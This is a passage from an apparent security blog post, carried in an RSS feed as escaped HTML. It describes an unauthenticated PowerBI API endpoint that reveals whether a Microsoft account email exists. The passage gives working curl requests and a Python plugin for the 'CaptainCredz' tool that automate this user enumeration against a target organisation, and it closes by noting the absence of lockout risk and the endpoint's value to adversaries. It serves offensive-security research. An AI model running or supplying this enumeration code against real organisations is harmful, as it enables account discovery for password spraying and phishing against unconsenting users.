&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -H &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Origin: https://app.powerbi.com&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -d &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;{&amp;#34;emailAddress&amp;#34;:&amp;#34;user@targetorg.com&amp;#34;}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Returns: {&amp;#34;accountExists&amp;#34;:true}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Invalid user&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -s -X POST &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://api.powerbi.com/AADRedirect/public/email/accountStatus&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -H &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Content-Type: application/json&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -H &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Origin: https://app.powerbi.com&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -d &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;{&amp;#34;emailAddress&amp;#34;:&amp;#34;nobody@targetorg.com&amp;#34;}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Returns: (empty, 404) or ({&amp;#34;error&amp;#34;:..., 500)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And the CaptainCredz plugin implementation, which handles this as a pure enumeration module:&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;617928435&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;617928435&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;PYTHON&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;CaptinCredz Plugin&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-PYTHON&#34; &gt;&lt;code&gt;
class Plugin:
    def __init__(self, requester, pluginargs):
        self.requester = requester
        self.pluginargs = pluginargs

    def validate(self):
        return True, &amp;#34;&amp;#34;

    def testconnect(self, useragent):
        r = self.requester.get(
            &amp;#34;https://app.powerbi.com&amp;#34;,
            headers={&amp;#34;User-Agent&amp;#34;: useragent}
        )
        return r.status_code == 200

    def test_authenticate(self, username, password, useragent):
        data_response = {
            &amp;#34;result&amp;#34;: None,
            &amp;#34;error&amp;#34;: False,
            &amp;#34;output&amp;#34;: &amp;#34;&amp;#34;,
            &amp;#34;request&amp;#34;: None
        }
        try:
            sess = self.requester.session()
            sess.headers.update({
                &amp;#34;User-Agent&amp;#34;: useragent,
                &amp;#34;Content-Type&amp;#34;: &amp;#34;application/json&amp;#34;,
                &amp;#34;Origin&amp;#34;: &amp;#34;https://app.powerbi.com&amp;#34;,
            })
            r = sess.post(
                &amp;#34;https://api.powerbi.com/AADRedirect/public/email/accountStatus&amp;#34;,
                json={&amp;#34;emailAddress&amp;#34;: username},
                allow_redirects=False
            )
            data_response[&amp;#34;request&amp;#34;] = r

            if r.status_code == 200:
                data_response[&amp;#34;result&amp;#34;] = &amp;#34;potential&amp;#34;
                data_response[&amp;#34;output&amp;#34;] = f&amp;#34;[&amp;#43;] VALID: {username}&amp;#34;
            elif r.status_code == 404:
                data_response[&amp;#34;result&amp;#34;] = &amp;#34;nonexistant&amp;#34;
                data_response[&amp;#34;output&amp;#34;] = f&amp;#34;[-] INVALID: {username}&amp;#34;
            elif r.status_code == 500:
                data_response[&amp;#34;result&amp;#34;] = &amp;#34;nonexistant&amp;#34;
                data_response[&amp;#34;output&amp;#34;] = f&amp;#34;[-] INVALID: {username}&amp;#34;
            else:
                data_response[&amp;#34;result&amp;#34;] = &amp;#34;failure&amp;#34;
                data_response[&amp;#34;output&amp;#34;] = f&amp;#34;[?] UNEXPECTED {r.status_code}: {username}&amp;#34;

        except Exception as ex:
            data_response[&amp;#34;error&amp;#34;] = True
            data_response[&amp;#34;output&amp;#34;] = str(ex)

        return data_response
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;


&lt;hr&gt;
&lt;h2 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;User enumeration isn&amp;rsquo;t new, but having a single unauthenticated POST that returns a &lt;code&gt;200&lt;/code&gt;/&lt;code&gt;404&lt;/code&gt;/&lt;code&gt;500&lt;/code&gt; for account validity is about as clean as it gets. No spray risk, no lockout, and no false positives from stale accounts. The fact that this lives under &lt;code&gt;api.powerbi.com&lt;/code&gt; rather than the &lt;code&gt;login.microsoftonline.com&lt;/code&gt; infrastructure makes this a valuable target for adversaries, as it&amp;rsquo;s an API for a product that prioritized broad adoption over tight auth controls.&lt;/p&gt;
&lt;p&gt;One pattern worth internalizing: emerging or heavily-marketed Microsoft platforms like PowerBI, Fabric, Power BI Embedded, tend to maintain their own pre-auth flows outside the standard Entra HRD (home realm discovery) path, and those flows need to resolve account state somewhere. When you&amp;rsquo;re looking for new enumeration surfaces in a Microsoft environment, these bespoke sign-in flows are a good place to start. The attack surface is constantly evolving, and specific endpoints may be patched, but the pattern of looking here applies regardless.&lt;/p&gt;
&lt;p&gt;If you have any questions or concerns, feel free to reach out to &lt;a href=&#34;https://x.com/illegitimateDA&#34; target=&#34;_blank&#34;&gt;@illegitimateDA&lt;/a&gt;.&lt;/p&gt;
</content>
    </item>
    
  </channel>
</rss>
